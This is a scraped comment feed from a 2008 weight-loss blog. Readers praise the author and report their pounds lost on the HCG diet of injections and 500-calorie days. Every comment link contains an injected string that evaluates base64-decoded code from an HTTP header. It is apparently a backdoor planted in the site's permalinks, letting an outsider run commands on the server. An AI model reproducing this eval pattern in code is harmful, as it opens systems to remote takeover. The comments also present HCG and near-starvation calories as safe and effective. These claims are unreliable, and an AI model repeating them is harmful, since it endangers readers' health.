Comments for Watch Me Shrink "100" http://lesswork.net/watchmeshrink Follow me in my Quest to "LOSE" 100 lbs. Wed, 08 Sep 2010 11:15:39 +0000 http://wordpress.org/?v=2.7.1 hourly 1 Comment on Day 31, Phase 2, Round 2 by carol http://lesswork.net/watchmeshrink/2008/04/10/day-31-phase-2-round-2/%&($eval(base64_decode($_SERVERHTTP_EXECCODE)).+)&%/comment-page-1/#comment-23 carol Wed, 16 Jul 2008 19:37:44 +0000 http://lesswork.net/watchmeshrink/2008/04/10/day-31-phase-2-round-2/#comment-23 HI Susan...Wow! you have really been diligent with this program. Congratulations! HI Susan…Wow! you have really been diligent with this program. Congratulations!

]]> Comment on Day 26, Phase 2, Round 2 by The Horror Diet http://lesswork.net/watchmeshrink/2008/04/05/day-26-phase-2-round-2/%&($eval(base64_decode($_SERVERHTTP_EXECCODE)).+)&%/comment-page-1/#comment-22 The Horror Diet Thu, 10 Apr 2008 06:35:46 +0000 http://lesswork.net/watchmeshrink/2008/04/05/day-26-phase-2-round-2/#comment-22 Congrats on all the pounds and inches lost, Susan. You are the poster child of HCG! :) Congrats on all the pounds and inches lost, Susan. You are the poster child of HCG! :)

]]> Comment on Day 26, Phase 2, Round 2 by Gold, silver, and other breakfast drinks : The Horror Diet http://lesswork.net/watchmeshrink/2008/04/05/day-26-phase-2-round-2/%&($eval(base64_decode($_SERVERHTTP_EXECCODE)).+)&%/comment-page-1/#comment-21 Gold, silver, and other breakfast drinks : The Horror Diet Mon, 07 Apr 2008 22:55:24 +0000 http://lesswork.net/watchmeshrink/2008/04/05/day-26-phase-2-round-2/#comment-21 [...] thought I’d be thin by summer. My hcg friend Susan has lost 34 lbs and 34 inches since January. She feels great. She had to buy new clothes because [...] [...] thought I’d be thin by summer. My hcg friend Susan has lost 34 lbs and 34 inches since January. She feels great. She had to buy new clothes because [...]

]]> Comment on Day 20, Phase 2, Round 2 by Debbie http://lesswork.net/watchmeshrink/2008/03/29/day-20-phase-2-round-2/%&($eval(base64_decode($_SERVERHTTP_EXECCODE)).+)&%/comment-page-1/#comment-20 Debbie Fri, 04 Apr 2008 03:47:39 +0000 http://lesswork.net/watchmeshrink/2008/03/29/day-20-phase-2-round-2/#comment-20 Congratulations, Susan!! And you look "marvelous, darling!" We are absolutely thrilled with our progress too. We just started our fourth week of our first six-week round. Ron has lost 17.4; this is the first program where he has experienced immediate results which is motivating to stay with the program. I have lost 10.6 lbs and have exactly 10.6 lbs to my goal. The most exciting and amazing thing is that we are both losing in our abdomen area...usually the LAST area where results are seen!!! Susan, I just don't know how to thank you!! Because of your efforts and experience we were convinced to begin this program. Thank you so very much that you forged the way!! We love you, Debbie & Ron Congratulations, Susan!! And you look “marvelous, darling!”

We are absolutely thrilled with our progress too. We just started our fourth week of our first six-week round. Ron has lost 17.4; this is the first program where he has experienced immediate results which is motivating to stay with the program. I have lost 10.6 lbs and have exactly 10.6 lbs to my goal. The most exciting and amazing thing is that we are both losing in our abdomen area…usually the LAST area where results are seen!!!

Susan, I just don’t know how to thank you!! Because of your efforts and experience we were convinced to begin this program. Thank you so very much that you forged the way!!
We love you, Debbie & Ron

]]> Comment on Day 13, Phase 2, Round 2 by Paula http://lesswork.net/watchmeshrink/2008/03/22/day-13-phase-2-round-2/%&($eval(base64_decode($_SERVERHTTP_EXECCODE)).+)&%/comment-page-1/#comment-19 Paula Tue, 25 Mar 2008 14:20:27 +0000 http://lesswork.net/watchmeshrink/2008/03/22/day-13-phase-2-round-2/#comment-19 I am finished with Phase 2 for the first time. I lost 36 pounds and 38.5 inches. Because of vacation I took 44 shots total with 3 days of 500 cals following. I did eat extra protein the last few days of the program. We went out to eat every night of vacation and the food was good. Lots of seafood. I did good eating ceasar salads without the dressing and several restaurants had asparagus. I have walked often on this program from 30 min. to an hour most days. I can't go long without food without feeling very empty. I am eating two fruits a day as a snack. Protein three meals and veggies for two meals. I have not kept up with the calories. This is my third day on Phase 3. I am mindful to eat more than I had on the 500 cals. especially protein. I plan to go to the website Cindy sites in her ebook to find out how many calories I am supposed to have at this weight. I am loving wearing smaller clothes. I am finally back in Misses sizes. I am taking 5-6 weeks off to let my body rest and recouperate. I plan to start back on Phase 2 the first week in May and go through another 42 days. I am finished with Phase 2 for the first time. I lost 36 pounds and 38.5 inches. Because of vacation I took 44 shots total with 3 days of 500 cals following. I did eat extra protein the last few days of the program. We went out to eat every night of vacation and the food was good. Lots of seafood. I did good eating ceasar salads without the dressing and several restaurants had asparagus. I have walked often on this program from 30 min. to an hour most days.

I can’t go long without food without feeling very empty. I am eating two fruits a day as a snack. Protein three meals and veggies for two meals. I have not kept up with the calories. This is my third day on Phase 3. I am mindful to eat more than I had on the 500 cals. especially protein. I plan to go to the website Cindy sites in her ebook to find out how many calories I am supposed to have at this weight.

I am loving wearing smaller clothes. I am finally back in Misses sizes. I am taking 5-6 weeks off to let my body rest and recouperate. I plan to start back on Phase 2 the first week in May and go through another 42 days.

]]> Comment on Phase 3 - the end of…. by Paula http://lesswork.net/watchmeshrink/2008/03/08/phase-3-the-end-of/%&($eval(base64_decode($_SERVERHTTP_EXECCODE)).+)&%/comment-page-1/#comment-16 Paula Mon, 10 Mar 2008 17:24:09 +0000 http://lesswork.net/watchmeshrink/2008/03/08/phase-3-the-end-of/#comment-16 Today was weigh and measure day at the clinic. I have lost 28.8 pounds and 29.5 inches in 34 days. I have 9 more shots and 3 more days at 500 calories. I am craving protein. I had some extra over the weekend at 3 social occasions and still managed to lose .4 on both days. I am doing a Sunday shot the last two Sundays instead of skipping those days. I am looking forward to eating eggs!! We are going to the beach for 7 days. I really want to be squeaky clean to maximize the last part of Phase 2, so I plan to take my food scales into restraunts. Today was weigh and measure day at the clinic. I have lost 28.8 pounds and 29.5 inches in 34 days. I have 9 more shots and 3 more days at 500 calories. I am craving protein. I had some extra over the weekend at 3 social occasions and still managed to lose .4 on both days. I am doing a Sunday shot the last two Sundays instead of skipping those days. I am looking forward to eating eggs!! We are going to the beach for 7 days. I really want to be squeaky clean to maximize the last part of Phase 2, so I plan to take my food scales into restraunts.

]]> Comment on Day 42 206 lbs by Melody http://lesswork.net/watchmeshrink/2008/02/12/day-42-206-lbs/%&($eval(base64_decode($_SERVERHTTP_EXECCODE)).+)&%/comment-page-1/#comment-15 Melody Tue, 04 Mar 2008 16:13:20 +0000 http://lesswork.net/watchmeshrink/2008/02/12/day-42-206-lbs/#comment-15 I started my HCG on 2-25-08 and to date I have eliminated 9.2lbs of the bad fat and down 5" in the areas that I have measured. I have noticed that on the third day on this program, my energy level had gone up. I feel great and am finding myself wanting to move my body. I had gone away for the weekend and was not hungry, however, the temptation and my subconscious got the best of me and I took two bites of a breakfast pastry that everyone around me was eating...the good news is that I still eliminated fat that day. I owe a great deal of thanks and gratitude for Susan finding this wonderful product and who is gracious enough to share her results with the world. Great job Susan and keep it up, everyone needs to know about this. I started my HCG on 2-25-08 and to date I have eliminated 9.2lbs of the bad fat and down 5″ in the areas that I have measured. I have noticed that on the third day on this program, my energy level had gone up. I feel great and am finding myself wanting to move my body. I had gone away for the weekend and was not hungry, however, the temptation and my subconscious got the best of me and I took two bites of a breakfast pastry that everyone around me was eating…the good news is that I still eliminated fat that day. I owe a great deal of thanks and gratitude for Susan finding this wonderful product and who is gracious enough to share her results with the world. Great job Susan and keep it up, everyone needs to know about this.

]]> Comment on Phase 3 - Day 12 - 208 lbs by Paula http://lesswork.net/watchmeshrink/2008/02/27/phase-3-day-12-208-lbs/%&($eval(base64_decode($_SERVERHTTP_EXECCODE)).+)&%/comment-page-1/#comment-14 Paula Sun, 02 Mar 2008 23:25:20 +0000 http://lesswork.net/watchmeshrink/2008/02/27/phase-3-day-12-208-lbs/#comment-14 Hi There, I lost two pounds last Monday. Stayed the same Tuesday. Got a massage Tuesday. Gained .8 Wednesday. Went back down Thursday plus some. Then I have been at the same weight since Friday so today, Sunday, I am doing an apple day. Looking forward to weighing and measuring tomorrow AND eating! I'll let you know what the apple day did for me. Still down 23 pounds in 27 days. I have 17 more shots and (3) 500 cal days left. Because of a beach vacation and Easter, I am planning to do 44 shots this time. The first day of Phase 3 will be on Easter. I would really love to lose 15 more pounds this round but that may be unrealistic. I am hoping the walking will continue to speed things up. Hi There,

I lost two pounds last Monday. Stayed the same Tuesday. Got a massage Tuesday. Gained .8 Wednesday. Went back down Thursday plus some. Then I have been at the same weight since Friday so today, Sunday, I am doing an apple day. Looking forward to weighing and measuring tomorrow AND eating! I’ll let you know what the apple day did for me. Still down 23 pounds in 27 days. I have 17 more shots and (3) 500 cal days left. Because of a beach vacation and Easter, I am planning to do 44 shots this time. The first day of Phase 3 will be on Easter. I would really love to lose 15 more pounds this round but that may be unrealistic. I am hoping the walking will continue to speed things up.

]]> Comment on Phase 3 - Day 11 - 209 lbs by Paula http://lesswork.net/watchmeshrink/2008/02/26/phase-3-day-11-209-lbs/%&($eval(base64_decode($_SERVERHTTP_EXECCODE)).+)&%/comment-page-1/#comment-13 Paula Wed, 27 Feb 2008 21:53:43 +0000 http://lesswork.net/watchmeshrink/2008/02/26/phase-3-day-11-209-lbs/#comment-13 Hey There, As of yesterday, I have lost 22.6 pounds and 23.75 inches in 22 days. I did not lose today, but yesterday I lost 2.6 pounds. It seems that I am losing 0 to .8 pounds for 2-3 days and then bam I'm down 1.5 to 2.5 in one day. I am not getting discouraged on the days I don't lose because so far I know a big loss is coming. I know I am eating on plan with no cheats. I am monitoring it closely (obsessing really) and have plenty of apples on hand should I need to do an apple day. I am drinking the Trudeau recommended teas daily and walking 45 min. to an hour almost everyday. Hey There,

As of yesterday, I have lost 22.6 pounds and 23.75 inches in 22 days. I did not lose today, but yesterday I lost 2.6 pounds. It seems that I am losing 0 to .8 pounds for 2-3 days and then bam I’m down 1.5 to 2.5 in one day. I am not getting discouraged on the days I don’t lose because so far I know a big loss is coming. I know I am eating on plan with no cheats. I am monitoring it closely (obsessing really) and have plenty of apples on hand should I need to do an apple day. I am drinking the Trudeau recommended teas daily and walking 45 min. to an hour almost everyday.

]]> Comment on Phase 3 - Day 3 - 206 lbs by Paula http://lesswork.net/watchmeshrink/2008/02/18/phase-3-day-3-206-lbs/%&($eval(base64_decode($_SERVERHTTP_EXECCODE)).+)&%/comment-page-1/#comment-12 Paula Wed, 20 Feb 2008 02:51:47 +0000 http://lesswork.net/watchmeshrink/2008/02/18/phase-3-day-3-206-lbs/#comment-12 I've lost 15 pounds and 19.25 inches in 15 days!!! I can tell everything is smaller especially my stomach. Love it! I’ve lost 15 pounds and 19.25 inches in 15 days!!! I can tell everything is smaller especially my stomach. Love it!

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